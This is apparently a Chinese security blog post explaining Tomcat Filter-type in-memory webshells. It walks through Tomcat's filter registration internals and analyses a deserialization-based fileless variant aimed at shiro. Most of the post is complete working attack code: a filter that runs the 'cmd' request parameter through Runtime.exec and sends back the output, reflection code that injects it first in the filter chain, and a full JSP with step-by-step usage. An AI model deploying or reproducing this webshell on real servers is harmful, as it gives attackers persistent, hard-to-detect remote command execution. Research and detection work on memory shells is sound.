Filter型MemShell

前言

Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet
通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:

  • 使用 ServletContextaddFilter/createFilter 方法注册;
  • 使用 ServletContextListenercontextInitialized 方法在服务器启动时注册(将会在 Listener 中进行描述);
  • 使用 ServletContainerInitializeronStartup 方法在初始化时注册(非动态,后面会描述)。

filter相关变量

  • filterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和对应的URLPattern
  • filterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
  • filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDefFilter对象等信息
  • ApplicationFilterChain:调用过滤器链
  • ApplicationFilterConfig:获取过滤器
  • ApplicationFilterFactory:组装过滤器链
  • WebXml:存放 web.xml 中内容的类
  • ContextConfigWeb应用的上下文配置类
  • StandardContextContext接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

思路

本节只讨论使用 ServletContext 添加 Filter 内存马的方法。
首先来看一下 createFilter 方法,这个方法用来调用 addFilterServletContext 实例化一个指定的 Filter 类。
这个方法还约定了一个事情,那就是如果这个 ServletContext 传递给 ServletContextListenerServletContextListener.contextInitialized 方法,该方法既未在 web.xmlweb-fragment.xml 中声明,也未使用 javax.servlet.annotation.WebListener 进行注释,则会抛出 UnsupportedOperationException 异常

接下来看 addFilter 方法,ServletContext 中有三个重载方法,分别接收字符串类型的 filterName 以及 className 字符串/Filter 对象/Filter 子类的 Class 对象三者之一,提供不同场景下添加 filter 的功能,这些方法均返回 FilterRegistration.Dynamic 实际上就是 FilterRegistration 对象。

1
2
3
4
5
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);

javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);

javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class<? extends Filter> var2);

addFilter 方法实际上就是动态添加 filter 的最核心和关键的方法,但是这个方法中同样约定了 UnsupportedOperationException 异常。

由于 Servlet API 只是提供接口定义,具体的实现还要看具体的容器,那我们首先以 Tomcat 8.5.76 为例,看一下具体的实现细节。相关实现方法在 org.apache.catalina.core.ApplicationContext#addFilter
2

可以看到,这个方法创建了一个 FilterDef 对象,将 filterNamefilterClassfilter 对象初始化进去,使用 StandardContextaddFilterDef 方法将创建的 FilterDef 储存在了 StandardContext 中的一个名为 filterDefsHashmap 中,然后 new 了一个 ApplicationFilterRegistration 对象并且返回,并没有将这个 Filter 放到 FilterChain 中,单纯调用这个方法不会完成自定义 Filter 的注册。并且这个方法判断了一个状态标记,如果程序以及处于运行状态中,则不能添加 Filter

这时我们肯定要想,能不能直接操纵 FilterChain 呢?可以。FilterChainTomcat 中的实现是 org.apache.catalina.core.ApplicationFilterChain,这个类提供了一个 addFilter 方法添加 Filter,这个方法接受一个 ApplicationFilterConfig 对象,将其放在 this.filters 中。但是没用,因为对于每次请求需要执行的 FilterChain 都是动态取得的。
3

Tomcat 是如何处理一次请求对应的 FilterChain 的呢?在 ApplicationFilterFactorycreateFilterChain 方法中,可以看到流程如下:

  • context 中获取 filterMaps,并遍历匹配 url 地址和请求是否匹配;
  • 如果匹配则在 context 中根据 filterMaps 中的 filterName 查找对应的 filterConfig
  • 如果获取到 filterConfig,则将其加入到 filterChain
  • 后续将会循环 filterChain 中的全部 filterConfig,通过 getFilter 方法获取 Filter 并执行 FilterdoFilter 方法。

通过上述流程可以知道,每次请求的 FilterChain 是动态匹配获取和生成的,如果想添加一个 Filter ,需要在 StandardContextfilterMaps 中添加 FilterMap,在 filterConfigs 中添加 ApplicationFilterConfig。这样程序创建时就可以找到添加的 Filter 了。

在之前的 ApplicationContextaddFilter 中将 filter 初始化存在了 StandardContextfilterDefs 中,那后面又是如何添加在其他参数中的呢?
StandardContextfilterStart 方法中生成了 filterConfigs
ApplicationFilterRegistrationaddMappingForUrlPatterns 中生成了 filterMaps

filter调用流程:

  • 根据请求的URLFilterMaps中找出与之URL对应的Filter名称
  • 根据Filter名称去FilterConfigs中寻找对应名称的FilterConfig
  • 找到对应的FilterConfig之后添加到FilterChain中,并且返回FilterChain
  • filterChain中调用internalDoFilter遍历获取chain中的FilterConfig,然后从FilterConfig中获取Filter,然后调用FilterdoFilter方法

了解了上述流程后,在应用程序中动态的添加一个 filter 的思路就清晰了:

  • 反射获得Configs,继而获得filterConfigs
  • 创建filterDef,通过反射写入filterNamefilterClassfilter
  • 调用 ApplicationContextaddFilterDef 方法将filterDef储存在了 StandardContextfilterDefs中;
  • 创建filterMap对象,通过反射写入URLPatternFilterNameDispatcher
  • 调用 StandardContextaddFilterMapBefore 直接加在 filterMaps 的第一位。
  • 反射创建FilterConfig,传入standardContextfilterDef两个参数进行实例化
  • filter名和配置好的filterConifg传入filterConfigs

Filter型内存马

  1. 是动态注册一个filter,动态注册,没有实体,重启消失
  2. 要放在所有filter前,避免被其他filter干扰
  3. Tomcatorg.apache.catalina.core.ApplicationContext中包含一个ServletContext接口的实现,所以需要import这个库,最后我们用到它获取Context
1
2
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>

tomcat不同版本需要通过不同的库引入FilterMapFilterDef

1
2
3
<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
1
2
3
<!-- tomcat 8/9 -->
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef" %>

filter型内存马的实现

filter部分

先通过一个简单的filter来看一下结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package filter;
import javax.servlet.*;
import java.io.IOException;

public class filterDemo implements Filter {

public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("init filter");
}

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("exec filter");
filterChain.doFilter(servletRequest,servletResponse);
}

public void destroy() {}
}
  • init()方法:初始化参数,在创建Filter时自动调用,当我们需要设置初始化参数的时候,可以写到该方法中。
  • doFilter()方法:拦截到要执行的请求时,doFilter就会执行。这里面写我们对请求和响应的预处理
  • destory()方法:在销毁Filter时自动调用

对我们来说,initdestory不需要做什么,只需要写一个doFilter方法拦截需要的请求,将其参数用于Runtime.getRuntime().exec()做命令执行,并将返回的数据打印到Response中即可,如下例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

动态注册部分

接下来是要将刚刚写好的doFilter注入到内存中

根据Tomcat注册Filter的操作,可以大概得到如何动态添加一个Filter

  • 获取standardContext
  • 创建Filter
  • 创建filterDef封装Filter对象,将filterDef添加到filterDefs
  • 创建filterMap,将URLfilter进行绑定,添加到filterMaps
  • 使用ApplicationFilterConfig封装filterDef对象,添加到filterConfigs

完整代码主要参照了nice_0e3师傅的文章,在最后结果输出的时候要注意如果有两次response结果需要将第一次的Writer flush掉,避免在后台报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
Field Configs = null;
Map filterConfigs;
try {
//Step 1
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

String FilterName = "cmd_Filter";
Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
//Step 2
if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){

InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);

return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//Step 3
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//Step 4
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

//Step 5
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
}
} catch (Exception e) {
e.printStackTrace();
}

Leticia师傅的Filter动态注册部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 //从org.apache.catalina.core.ApplicationContext反射获取context方法
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

String name = "filterDemo";

//判断是否存在filterDemo这个filter,如果没有则准备创建
if (filterConfigs.get(name) == null){
//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

//添加filterDef
standardContext.addFilterDef(filterDef);

//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/xyz");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);

//反射创建FilterConfig,传入standardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

//将filter名和配置好的filterConifg传入
filterConfigs.put(name,filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected!");
}

完整内存马

完整Tomcact.Filter内存马
最终jsp文件,只需传到tomcat目录并访问一次,然后再访问其jsp文件../xyz?cmd=whoami即可
Leticia师傅的Filter完整内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>

<!-- tomcat 8/9 -->
<%@page import = "org.apache.tomcat.util.descriptor.web.FilterMap"%>
<%@page import = "org.apache.tomcat.util.descriptor.web.FilterDef"%>

<!-- tomcat 7 -->
<%--<%@ page import = "org.apache.catalina.deploy.FilterMap" %>--%>
<%--<%@ page import = "org.apache.catalina.deploy.FilterDef" %>--%>

<%@ page import = "javax.servlet.*" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.util.Map" %>

<%
class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}

}
%>

<%
//从org.apache.catalina.core.ApplicationContext反射获取context方法
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

String name = "filterDemo";
//判断是否存在filterDemo1这个filter,如果没有则准备创建
if (filterConfigs.get(name) == null){
//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

//添加filterDef到standardContext
standardContext.addFilterDef(filterDef);

//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/xyz");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);

//反射创建FilterConfig,传入standardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

//将filter名和配置好的filterConifg传入
filterConfigs.put(name,filterConfig);
out.write(new java.io.File(application.getRealPath(request.getRequestURI())).getParent());
out.write("<br/><hr/>");
out.write("Inject success!");
}
else{
out.write(new java.io.File(application.getRealPath(request.getRequestURI())).getParent());
out.write("<br/><hr/>");
out.write("Injected!");
}
%>

反序列化的《基于tomcat的内存 Webshell 无文件攻击技术》分析

这篇文章是三梦师傅写的,是通过反序列化攻击,生成无文件的Filter类型的内存马。
三梦是师傅说无法通杀shiro,也有人说使用6及其以下的tomcat的场景下,payload会报错
我对其中的流程进行梳理和分析一下。

0x01 为了回显:tomcat获取通用的request和response

根据kingkk师傅所述,我们寻找的requestresponse需要满足以下几点:

  • 为了通用性,我们只应该寻找tomcat部分的代码,和Spring相关的就可以不用看了。
  • 记录的变量不应该是一个全局变量,而应该是一个ThreadLocal,这样才能获取到当前线程的请求信息。
  • 而且最好是一个static静态变量,否则我们还需要去获取那个变量所在的实例

kingkk师傅找到了org.apache.catalina.core.ApplicationFilterChain
1
而且很巧的是,刚好在处理我们Controller逻辑之前,有记录requestresponse的动作。
虽然if条件是false,但是我们可以通过反射进行修改。
这部分在ApplicationFilterChain类的internalDoFilter方法中
2
这样,回显部分的整体思路大概就是

  1. 反射修改ApplicationDispatcher.WRAP_SAME_OBJECTtrue,让代码逻辑走到if条件里面
  2. 初始化lastServicedRequestlastServicedResponse两个变量,默认为null
  3. lastServicedResponse中获取当前请求response,并且回显内容。

但是,也存在一点小限制,在其set之前,if语句中先执行完所有的Filter了。filter.doFilter(request, response, this)
3
因此,对于shiro的反序列化利用就没办法通过这种方式取到response回显了。

0x02 动态注册Filter

这部分是要动态注册一个Filter,并且把其放到最前面。
这样,我们的Filter就能最先执行了,并且也成为了一个内存Webshell了。
要实现动态注册Filter,需要两个步骤。

  • 第一步:是先达到能获取requestresponse
  • 第二步:是通过request或者response去动态注册Filter

第一步: WRAP_SAME_OBJECT 值为 true

下文的TomcatEchoInject.java实现了获得requestresponse(其实就是修改 WRAP_SAME_OBJECT 值为 true
CCnoArrayForEcho.java实现了将其修改为字节数组生成payload
其中,TomcatEchoInject.java类中,我们创建一个继承AbstractTranslet(因为需要携带恶意字节码到服务端加载执行)的TomcatEchoInject类,在其静态代码块中反射修改ApplicationDispatcher.WRAP_SAME_OBJECTtrue,并且对lastServicedRequestlastServicedResponse这两个ThreadLocal进行初始化。

第二步: 动态注册Filter到tomcat

在使用步骤一生成的序列化数据进行反序列化攻击后,我们就能通过下面这段代码获取到requestresponse对象了

1
2
3
4
5
java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal t = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
ServletRequest servletRequest = (ServletRequest) t.get()

接着,我们要做的就是动态注册Filtertomcat
这里可以通过ServletContext对象(实际获取的是ApplicationContext,是ServletContext的实现,因为门面模式的使用,后面需要提取实际实现),实现了动态注册Filter

问题一

但是要注意:在addFilter方法中,因为this.context.getState()在运行时返回的state已经是LifecycleState.STARTED了,所以直接就抛异常了,filter根本就添加不进去。
不过问题不大,因为this.context.getState()获取的是ServletContext实现对象的context字段,从其中获取出state,那么,我们在其添加filter前,通过反射设置成LifecycleState.STARTING_PREP,在其顺利添加完成后,再把其恢复成LifecycleState.STARTE,这里必须要恢复,要不然会造成服务不可用。

其实上面的反射设置state值,也可以不做,因为我们看代码中,只是执行了this.context.addFilterDef(filterDef),我们完全也可以通过反射context这个字段自行添加filterDef

在实际执行栈中,实际filter的创建是在org.apache.catalina.core.StandardWrapperValve#invoke执行ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);的地方

问题二(有两个小问题)

跟进其实现方法,忽略不重要的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
...
// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMaps[i], requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

可以看到,从context提取了FilterMap数组,并且遍历添加到filterChain,最终生效,但是这里有两个问题:

  • 我们最早创建的filter被封装成FilterDef添加到了contextfilterDefs中,但是filterMaps中并不存在
  • 跟上述一样的问题,也不存在filterConfigs中(context.findFilterConfig是从contextfilterConfigs中获取)

解决:
第一个小问题,其实在下面代码执行filterRegistration.addMappingForUrlPatterns的时候已经添加进去了

1
2
3
4
5
6
7
8
9
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("threedr3am", threedr3am);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});

javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, alter);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,filterUrlPattern);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//源代码
public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) {
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(this.filterDef.getFilterName());
if (dispatcherTypes != null) {
Iterator var5 = dispatcherTypes.iterator();

while(var5.hasNext()) {
DispatcherType dispatcherType = (DispatcherType)var5.next();
filterMap.setDispatcher(dispatcherType.name());
}
}

if (urlPatterns != null) {
String[] var9 = urlPatterns;
int var10 = urlPatterns.length;

for(int var7 = 0; var7 < var10; ++var7) {
String urlPattern = var9[var7];
filterMap.addURLPattern(urlPattern);
}

if (isMatchAfter) {
this.context.addFilterMap(filterMap);
} else {
this.context.addFilterMapBefore(filterMap);
}
}
}

第二个小问题,既然没有,我们就反射加进去就行了,不过且先看看StandardContext,它有一个方法filterStart

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public boolean filterStart() {
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug("Starting filters");
}

boolean ok = true;
synchronized(this.filterConfigs) {
this.filterConfigs.clear();
Iterator var3 = this.filterDefs.entrySet().iterator();

while(var3.hasNext()) {
Entry<String, FilterDef> entry = (Entry)var3.next();
String name = (String)entry.getKey();
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug(" Starting filter '" + name + "'");
}

try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
this.filterConfigs.put(name, filterConfig);
} catch (Throwable var8) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);
ExceptionUtils.handleThrowable(t);
this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
ok = false;
}
}

return ok;
}
}

没错,它遍历了filterDefs,一个个实例化成ApplicationFilterConfig添加到filterConfigs了。

问题三(优化)

这两个问题解决了,是不是就完成了呢,其实还没有,还差一个优化的地方,因为我们想要把filter放到最前面,在所有filter前执行,从而解决shiro漏洞的问题。

也简单,我们看回org.apache.catalina.core.ApplicationFilterFactory#createFilterChain的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMaps[i], requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
}

创建的顺序是根据filterMaps的顺序来的,那么我们就有必要去修改我们添加的filter顺序到第一位了

文件TomcatShellInject.java是整个第二步的实现。和第一个步骤创建的TomcatEchoInject不一样,这里我们不但继承(extends)了AbstractTranslet,还实现(implements)了Filter创建一个我们自定义的内存Webshell,然后再通过字节数组的方式生成payload,在第一个payload打进去之后再打这里生成的payload就可以

三梦师傅改写了ysoserial的源码,我学着改写之后也改写了普通实现的文件并在之前的ctf赛题ezjava的场景下打入成功。

Reference

https://xz.aliyun.com/t/7388
https://xz.aliyun.com/t/7348